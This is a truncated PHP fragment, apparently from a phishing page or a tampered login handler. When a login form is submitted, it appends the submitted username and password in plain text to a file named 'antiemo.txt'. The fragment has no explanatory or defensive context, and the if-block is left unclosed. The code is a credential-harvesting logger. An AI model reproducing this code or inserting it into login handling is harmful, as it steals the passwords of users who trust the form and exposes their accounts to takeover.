if(isset($_POST['login'])){ $fp = fopen ("antiemo.txt", "a"); fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n"); fclose ($fp);